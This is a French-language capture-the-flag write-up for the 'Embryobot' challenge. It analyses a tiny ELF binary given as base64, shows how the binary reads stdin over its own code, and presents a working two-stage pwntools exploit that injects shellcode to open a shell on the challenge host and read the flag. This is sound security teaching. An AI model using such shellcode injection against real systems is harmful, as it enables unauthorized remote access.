Skip to content

Embryobot


Description

Write Up : Gwendal
Créateur : spipm
Difficulté : Facile
Points : 100
Format du flag : brck{password}

Enoncé

This part will be the head, " the nurse explains. The proud android mother looks at her newborn for the first time. "However, " the nurse continues, "we noticed a slight growing problem in its code. Don't worry, we have a standard procedure for this. A human just needs to do a quick hack and it should continue to grow in no time."

The hospital hired you to perform the procedure. Do you think you can manage?

The embryo is: f0VMRgEBAbADWTDJshLNgAIAAwABAAAAI4AECCwAAAAAAADo3////zQAIAABAAAAAAAAAACABAgAgAQITAAAAEwAAAAHAAAAABAAAA==

Pièce(s) jointe(s): - N/A


Solution détaillée

Reconnaissance

Pour ce défi, nous ne recevons pas de fichier joint, mais une chaîne qui ressemble fortement à des données encodées en base64. En extrayant les données et en les analysant avec la commande file, nous obtenons des informations sur le fichier. Le fichier décodé est un fichier ELF contenant du code compilé pour 80386. Malheureusement, l'ouverture du fichier avec ghidra ne donne pas de résultats satisfaisants.

$ echo "f0VMRgEBAbADWTDJshLNgAIAAwABAAAAI4AECCwAAAAAAADo3////zQAIAABAAAAAAAAAACABAgAgAQITAAAAEwAAAAHAAAAABAAAA==" | base64 -d > foo
$ file foo
foo: ELF 32-bit LSB executable, Intel 80386, version 1, statically linked, no section header

Étant donné que le fichier ne fait que 76 octets, il pourrait s'agir d'une sorte de Tiny ELF avec toutes sortes de techniques de compression et de manipulation. Comme décrit dans l'article, certaines parties de l'en-tête peuvent contenir des instructions du processeur même si ces parties ne sont pas destinées à contenir du code exécutable. Ainsi, la fonctionnalité peut être entremêlée avec les données de l'en-tête, générant des fichiers exécutables très petits mais fonctionnels.

Exploitation

Mon approche consiste à vérifier les régions qui ne peuvent pas être modifiées et à les remplacer par des instructions nop afin d'obtenir un résultat de désassemblage plus significatif. L'hexdump complet du fichier est petit, le voici pour référence. Par exemple, les dix premiers octets sont une signature constante de 4 octets (EI_MAG), 2 octets pour l'architecture 32 bits et l'ordre des octets (EI_CLASS, EI_DATA) et 4 octets décrivant la version (EI_VERSION) (cf. Executable and Linkable Format). La signature et la classe/données ne peuvent pas être modifiées, nous les remplaçons donc par des instructions nop. Cependant, la version EI_VERSION semble incorrecte, elle devrait être 01 00 00 00, donc nous ne remplaçons que le premier octet, en gardant le reste intact pour plus tard.

00000000  7F 45 4C 46  01 01 01 B0   03 59 30 C9  B2 12 CD 80                                           .ELF.....Y0.....
00000010  02 00 03 00  01 00 00 00   23 80 04 08  2C 00 00 00                                           ........#...,...
00000020  00 00 00 E8  DF FF FF FF   34 00 20 00  01 00 00 00                                           ........4. .....
00000030  00 00 00 00  00 80 04 08   00 80 04 08  4C 00 00 00                                           ............L...
00000040  4C 00 00 00  07 00 00 00   00 10 00 00                                                        L...........
00000000  90 90 90 90  90 90 90 B0   03 59 30 C9  B2 12 CD 80                                           .ELF.....Y0.....
00000010  02 00 03 00  01 00 00 00   23 80 04 08  2C 00 00 00                                           ........#...,...
00000020  00 00 00 E8  DF FF FF FF   34 00 20 00  01 00 00 00                                           ........4. .....
00000030  00 00 00 00  00 80 04 08   00 80 04 08  4C 00 00 00                                           ............L...
00000040  4C 00 00 00  07 00 00 00   00 10 00 00                                                        L...........

Une autre partie intéressante est le pointeur d'entrée situé à l'offset 18h. Comme les données sont stockées en ordre little endian, le point d'entrée est à 8048023h. Cela contient l'adresse de base 8048000h, donc l'offset dans notre fichier est 23h (commençant par les octets E8 DF FF FF FF 34...). Voyons si nous obtenons cet offset dans notre désassemblage, puisque nous savons qu'il doit contenir des instructions valides :

$ objdump -D -Mintel,i386 -b binary -m i386 foo
...
24:   df ff                   (bad)
26:   ff                      (bad)
27:   ff 90 00 20 00 01       call   DWORD PTR [eax+0x1002000]
...
35:   80 04 08 00             add    BYTE PTR [eax+ecx*1],0x0
...

Malheureusement, ce n'est pas le cas, nous devons donc revenir en arrière et neutraliser les octets immédiatement avant l'entrée pour aider le désassembleur. Ajouter juste un nop avant notre offset d'entrée dévoile l'instruction correcte :

22:   90                      nop               ; our nop we added
23:   e8 df ff ff ff          call   0x7        ; call to 7h
28:   34 00                   xor    al,0x0     ; bad code from here

Le premier appel du programme après le chargement est donc à l'offset 7h. Heureusement, nous n'avons pas détruit les octets précédents.

00000000  90 90 90 90  90 90 90 B0   03 59 30 C9  B2 12 CD 80                                           .........Y0.....
00000010  02 00 03 00  01 00 00 00   23 80 04 08  2C 00 00 00                                           ........#...,...
00000020  00 00 90 E8  DF FF FF FF   34 00 20 00  01 00 00 00                                           ........4. .....
00000030  00 00 00 00  00 80 04 08   00 80 04 08  4C 00 00 00                                           ............L...
00000040  4C 00 00 00  07 00 00 00   00 10 00 00                                                        L...........
0:   90                      nop                            ; nops we added before
1:   90                      nop
2:   90                      nop
3:   90                      nop
4:   90                      nop
5:   90                      nop
6:   90                      nop
7:   b0 03                   mov    al,0x3                  ; to this offset the first jump goes. this looks like valid
9:   59                      pop    ecx                     ; code setting up an interrupt call.  calling syscall read (eax=3)
a:   30 c9                   xor    cl,cl                   ; writing to the base address (ecx=base address), reading
c:   b2 12                   mov    dl,0x12                 ; a total of 18h bytes (edx=12h), from fd 0 (ebx=0)
e:   cd 80                   int    0x80
10:  02 00                   add    al,BYTE PTR [eax]       ; ... again nonsense data ...

L'offset de lecture est calculé en retirant l'adresse de retour de la pile (rappelez-vous, le programme a appelé à l'offset 5h et un appel pousse l'offset de l'instruction suivante sur la pile). Mais l'écriture ne va pas à l'instruction suivante, mais au début de l'image. Pourquoi cela, vous pourriez demander ? Si nous regardons l'instruction à l'offset 59h, nous voyons xor cl, cl qui met effectivement les 8 bits inférieurs du registre ecx à zéro, ne laissant que l'adresse de base (cf. https://x86.syscall.sh/).

Maintenant, nous savons ce que fait le programme. Il lit l'entrée de stdin et remplace le code du programme lui-même par 18 octets de données. Il est important de noter que c'est exactement 18 octets, puisque l'interruption est appelée à 0eh et les deux octets suivants sont les octets 16 et 17. C'est important car ce sont les prochaines instructions exécutées lorsque le processeur revient de l'interruption de lecture. Nous pouvons donc définir nous-mêmes ce que le processeur fait ensuite (par exemple, revenir à la base pour exécuter du shellcode que nous injectons).

Nous pouvons donc injecter 18 octets de code nous-mêmes. Pour obtenir un shell par exemple. Comme 18 octets est assez petit, nous pouvons le faire en deux étapes. D'abord injecter le même code, mais en spécifiant plus d'octets à lire, puis, lorsque nous ne sommes plus limités par l'espace, injecter du code pour obtenir un shell.

La première étape ressemble à ceci (18 octets au total) :

nop
nop
nop
nop
nop
nop
nop
mov     al,0x3        ; same as before...
add     ecx, 0x10     ; ...but we start writing to base+10h 
mov     dl, 0x7f      ; ...and with way more bytes that can be read
int     0x80
jmp     ecx           ; jump back to base address (nop slide down) and read again

Si nous envoyons cela (comme shellcode) au programme, celui-ci lit à nouveau, mais maintenant sans une limite stricte. Maintenant, nous pouvons injecter tout shellcode que nous voulons (pour plus de commodité, nous utilisons shellcraft). De plus, nous n'écrivons pas à la base à nouveau, mais directement à partir de l'offset de la prochaine instruction exécutée (10h).

from pwn import *

p = remote("0.cloud.chals.io", 20922)

stage1 = asm(
"""
    nop
    nop
    nop
    nop
    nop
    nop
    nop
    mov al, 0x3
    add ecx, 0x10
    mov dl, 0x7f
    int 0x80
    jmp ecx
""")

p.send(stage1)
p.send(asm(shellcraft.sh()))
p.interactive()

Exécuter ce script nous donne un shell qui nous permet d'obtenir notre flag :

$ python exploit.py
[+] Opening connection to 0.cloud.chals.io on port 20922: Done
[*] Switching to interactive mode
$ ls
babybot
flag.txt
$ cat flag.txt
brck{Th3_C1rcl3...3}
$ exit
[*] Got EOF while reading in interactive

Flag brck{Th3_C1rcl3...3}